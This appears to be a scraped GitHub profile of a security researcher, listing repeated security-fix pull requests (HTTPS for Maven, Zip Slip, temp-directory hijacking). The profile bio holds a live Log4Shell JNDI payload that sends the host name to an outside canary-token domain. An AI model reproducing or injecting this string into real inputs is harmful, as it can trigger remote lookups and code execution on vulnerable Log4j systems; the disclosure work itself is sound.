Jonathan Leitschuh

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icon company @chainguard-dev icon location Boston, MA icon location Software Engineer & Security Researcher; First Dan Kaminsky Fellow @ HUMAN Security; ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken

Results 820 issues of Jonathan Leitschuh

[SECURITY] Use HTTPS to resolve dependencies in Maven Build

[![mitm_build](https://user-images.githubusercontent.com/1323708/59226671-90645200-8ba1-11e9-8ab3-39292bef99e9.jpeg)](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Update: Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/bugbountywriteup/update-want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-d069d253fe23?source=friends_link&sk=8c8e52a7d57b98d0b7e541665688b454)...

[SECURITY] Fix Zip Slip Vulnerability

4 comment

# Security Vulnerability Fix This pull request fixes a Zip Slip vulnerability either due to an insufficient, or missing guard when unzipping zip files. Even if you deem, as the...

[SECURITY] Use HTTPS to resolve dependencies in Maven Build

[![mitm_build](https://user-images.githubusercontent.com/1323708/59226671-90645200-8ba1-11e9-8ab3-39292bef99e9.jpeg)](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Update: Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/bugbountywriteup/update-want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-d069d253fe23?source=friends_link&sk=8c8e52a7d57b98d0b7e541665688b454)...

[SECURITY] Use HTTPS to resolve dependencies in Maven Build

[![mitm_build](https://user-images.githubusercontent.com/1323708/59226671-90645200-8ba1-11e9-8ab3-39292bef99e9.jpeg)](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Update: Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/bugbountywriteup/update-want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-d069d253fe23?source=friends_link&sk=8c8e52a7d57b98d0b7e541665688b454)...

[SECURITY] Fix Zip Slip Vulnerability

# Security Vulnerability Fix This pull request fixes a Zip Slip vulnerability either due to an insufficient, or missing guard when unzipping zip files. Even if you deem, as the...

[SECURITY] Fix Temporary Directory Hijacking or Information Disclosure Vulnerability

# Security Vulnerability Fix This pull request fixes either 1.) Temporary Directory Hijacking Vulnerability, or 2.) Temporary Directory Information Disclosure Vulnerability, which existed in this project. ## Preamble The system...

[SECURITY] Fix Temporary Directory Hijacking or Information Disclosure Vulnerability

# Security Vulnerability Fix This pull request fixes either 1.) Temporary Directory Hijacking Vulnerability, or 2.) Temporary Directory Information Disclosure Vulnerability, which existed in this project. ## Preamble The system...

[SECURITY] Use HTTPS to resolve dependencies in Maven Build

[![mitm_build](https://user-images.githubusercontent.com/1323708/59226671-90645200-8ba1-11e9-8ab3-39292bef99e9.jpeg)](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Update: Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/bugbountywriteup/update-want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-d069d253fe23?source=friends_link&sk=8c8e52a7d57b98d0b7e541665688b454)...

[SECURITY] Use HTTPS to resolve dependencies in Maven Build

[![mitm_build](https://user-images.githubusercontent.com/1323708/59226671-90645200-8ba1-11e9-8ab3-39292bef99e9.jpeg)](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Update: Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/bugbountywriteup/update-want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-d069d253fe23?source=friends_link&sk=8c8e52a7d57b98d0b7e541665688b454)...

[SECURITY] Use HTTPS to resolve dependencies in Maven Build

[![mitm_build](https://user-images.githubusercontent.com/1323708/59226671-90645200-8ba1-11e9-8ab3-39292bef99e9.jpeg)](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/@jonathan.leitschuh/want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-1fc329d898fb?source=friends_link&sk=3c99970c55a899ad9ef41f126efcde0e) - [Update: Want to take over the Java ecosystem? All you need is a MITM!](https://medium.com/bugbountywriteup/update-want-to-take-over-the-java-ecosystem-all-you-need-is-a-mitm-d069d253fe23?source=friends_link&sk=8c8e52a7d57b98d0b7e541665688b454)...